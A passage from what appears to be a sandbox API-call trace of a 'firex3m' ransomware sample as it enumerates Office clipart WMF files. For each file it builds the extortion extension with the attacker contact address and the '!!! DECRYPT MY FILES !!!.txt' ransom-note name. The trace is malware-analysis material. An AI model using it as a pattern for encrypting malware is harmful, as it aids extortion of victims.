pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 1 [0137.598] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf") returned 0x44 [0137.598] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.598] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.598] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.598] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.598] GetProcessHeap () returned 0x630000 [0137.598] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x278) returned 0x671c18 [0137.598] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1 [0137.599] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 1 [0137.599] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf") returned 0x44 [0137.599] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.599] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.599] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.599] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.599] GetProcessHeap () returned 0x630000 [0137.599] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x27c) returned 0x671c18 [0137.599] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1 [0137.599] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 1 [0137.599] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf") returned 0x44 [0137.599] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.599] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.599] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.599] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.600] GetProcessHeap () returned 0x630000 [0137.600] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x280) returned 0x671c18 [0137.600] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1 [0137.600] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 1 [0137.600] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf") returned 0x44 [0137.600] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.600] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.600] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.600] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.600] GetProcessHeap () returned 0x630000 [0137.600] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x284) returned 0x671c18 [0137.600] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1 [0137.601] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 1 [0137.601] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf") returned 0x44 [0137.601] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.601] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.601] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.601] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.601] GetProcessHeap () returned 0x630000 [0137.601] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x288) returned 0x671c18 [0137.601] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1 [0137.601] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 1 [0137.601] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf") returned 0x44 [0137.601] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.601] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.602] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.602] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.602] GetProcessHeap () returned 0x630000 [0137.602] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x28c) returned 0x671c18 [0137.602] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1 [0137.602] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 1 [0137.602] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf") returned 0x44 [0137.602] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.602] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.602] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.602] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.602] GetProcessHeap () returned 0x630000 [0137.602] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x290) returned 0x671c18 [0137.603] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1 [0137.603] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 1 [0137.603] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf") returned 0x44 [0137.603] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.603] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.603] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.603] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.603] GetProcessHeap () returned 0x630000 [0137.603] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x294) returned 0x671c18 [0137.603] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1 [0137.603] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 1 [0137.603] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf") returned 0x44 [0137.603] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.603] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.604] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.604] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.604] GetProcessHeap () returned 0x630000 [0137.604] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x298) returned 0x671c18 [0137.604] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1 [0137.604] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 1 [0137.604] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf") returned 0x44 [0137.604] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.604] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.604] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.604] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.604] GetProcessHeap () returned 0x630000 [0137.604] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x29c) returned 0x671c18 [0137.605] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1 [0137.605] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 1 [0137.605] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf") returned 0x44 [0137.605] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.605] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.605] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.605] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.605] GetProcessHeap () returned 0x630000 [0137.605] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2a0) returned 0x671c18 [0137.605] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1 [0137.605] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 1 [0137.605] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf") returned 0x44 [0137.605] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0137.606] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0137.606] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0137.606] GetProcessHeap () returned 0x630000 [0137.606] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x2a4) returned 0x671c18 [0137.606] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1 [0137.606] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 1 [0137.606] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf") returned 0x44 [0137.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES 